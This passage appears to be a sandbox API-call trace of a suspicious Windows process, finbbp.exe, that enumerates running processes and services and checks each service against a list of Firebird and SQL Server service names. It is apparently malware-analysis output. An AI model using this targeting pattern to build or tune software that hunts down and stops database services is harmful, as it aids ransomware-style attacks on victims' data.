lpString2="PcaSvc") returned -1 [0224.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0224.569] lstrlenW (lpString="PlugPlay") returned 8 [0224.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0224.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0224.570] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0224.570] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0224.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0224.570] lstrlenW (lpString="Power") returned 5 [0224.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0224.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0224.570] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0224.570] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0224.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0224.570] lstrlenW (lpString="ProfSvc") returned 7 [0224.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0224.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0224.570] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0224.570] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0224.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0224.570] lstrlenW (lpString="RpcEptMapper") returned 12 [0224.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0224.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0224.570] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0224.570] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0224.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0224.570] lstrlenW (lpString="RpcSs") returned 5 [0224.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0224.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0224.570] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0224.570] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0224.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0224.570] lstrlenW (lpString="SamSs") returned 5 [0224.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0224.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0224.571] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0224.571] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0224.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0224.571] lstrlenW (lpString="Schedule") returned 8 [0224.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0224.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0224.571] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0224.571] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0224.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0224.571] lstrlenW (lpString="SecurityHealthService") returned 21 [0224.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0224.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0224.571] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0224.571] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0224.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0224.571] lstrlenW (lpString="SENS") returned 4 [0224.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0224.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0224.571] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0224.571] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0224.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0224.571] lstrlenW (lpString="ShellHWDetection") returned 16 [0224.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0224.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0224.571] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0224.571] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0224.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0224.572] lstrlenW (lpString="Spooler") returned 7 [0224.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0224.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0224.572] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0224.572] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0224.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0224.572] lstrlenW (lpString="StateRepository") returned 15 [0224.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0224.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0224.572] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0224.572] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0224.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0224.572] lstrlenW (lpString="SysMain") returned 7 [0224.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0224.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0224.572] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0224.572] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0224.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0224.572] lstrlenW (lpString="SystemEventsBroker") returned 18 [0224.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0224.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0224.572] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0224.572] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0224.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0224.572] lstrlenW (lpString="Themes") returned 6 [0224.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0224.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0224.572] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0224.573] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0224.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0224.573] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0224.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0224.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0224.573] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0224.573] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0224.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0224.573] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0224.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0224.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0224.573] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0224.573] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0224.573] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41760c0 | out: hHeap=0x670000) returned 1 [0224.573] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3c4 [0224.822] Process32FirstW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.822] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0224.823] lstrlenW (lpString="System") returned 6 [0224.823] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0224.824] lstrlenW (lpString="smss.exe") returned 8 [0224.824] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0224.824] lstrlenW (lpString="csrss.exe") returned 9 [0224.824] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0224.825] lstrlenW (lpString="wininit.exe") returned 11 [0224.825] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0224.825] lstrlenW (lpString="csrss.exe") returned 9 [0224.825] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0224.826] lstrlenW (lpString="winlogon.exe") returned 12 [0224.826] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0224.826] lstrlenW (lpString="services.exe") returned 12 [0224.826] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0224.827] lstrlenW (lpString="lsass.exe") returned 9 [0224.827] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0224.827] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0224.827] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0224.828] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0224.828] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.828] lstrlenW (lpString="svchost.exe") returned 11 [0224.828] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.829] lstrlenW (lpString="svchost.exe") returned 11 [0224.829] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0224.829] lstrlenW (lpString="dwm.exe") returned 7 [0224.829] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.830] lstrlenW (lpString="svchost.exe") returned 11 [0224.830] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.830] lstrlenW (lpString="svchost.exe") returned 11 [0224.830] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.831] lstrlenW (lpString="svchost.exe") returned 11 [0224.831] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.831] lstrlenW (lpString="svchost.exe") returned 11 [0224.831] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.833] lstrlenW (lpString="svchost.exe") returned 11 [0224.833] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.834] lstrlenW (lpString="svchost.exe") returned 11 [0224.834] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.834] lstrlenW (lpString="svchost.exe") returned 11 [0224.834] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.835] lstrlenW (lpString="svchost.exe") returned 11 [0224.835] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.836] lstrlenW (lpString="svchost.exe") returned 11 [0224.836] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.836] lstrlenW (lpString="svchost.exe") returned 11 [0224.836] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0224.837] lstrlenW (lpString="spoolsv.exe") returned 11 [0224.837] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.838] lstrlenW (lpString="svchost.exe") returned 11 [0224.838] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0224.838] lstrlenW (lpString="audiodg.exe") returned 11 [0224.838] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0224.839] lstrlenW (lpString="sihost.exe") returned 10 [0224.839] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.839] lstrlenW (lpString="svchost.exe") returned 11 [0224.839] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0224.839] lstrlenW (lpString="taskhostw.exe") returned 13 [0224.840] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0224.840] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0224.840] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0224.840] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0224.840] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0224.841] lstrlenW (lpString="Memory Compression") returned 18 [0224.841] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0224.841] lstrlenW (lpString="explorer.exe") returned 12 [0224.841] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0224.842] lstrlenW (lpString="SearchUI.exe") returned 12 [0224.842] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0224.842] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0224.842] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0224.843] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0224.843] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0224.843] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0224.843] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0224.844] lstrlenW (lpString="finbbp.exe") returned 10 [0224.844] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0224.844] lstrlenW (lpString="cmd.exe") returned 7 [0224.844] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0224.845] lstrlenW (lpString="conhost.exe") returned 11 [0224.845] Process32NextW (in: hSnapshot=0x3c4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0224.845] CloseHandle (hObject=0x3c4) returned 1 [0224.845] Sleep (dwMilliseconds=0x1f4) [0225.533] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6fb6c8 [0225.534] EnumServicesStatusExW (in: hSCManager=0x6fb6c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0225.534] GetLastError () returned 0xea [0225.534] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1b58) returned 0x41a8328 [0225.535] EnumServicesStatusExW (in: hSCManager=0x6fb6c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41a8328, cbBufSize=0x1b58, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41a8328, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0225.535] CloseServiceHandle (hSCObject=0x6fb6c8) returned 1 [0225.536] lstrlenW (lpString="AppXSvc") returned 7 [0225.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0225.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0225.536] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0225.536] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0225.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0225.536] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0225.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0225.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0225.536] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0225.536] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0225.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0225.536] lstrlenW (lpString="Audiosrv") returned 8 [0225.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0225.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0225.536] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0225.536] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0225.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0225.536] 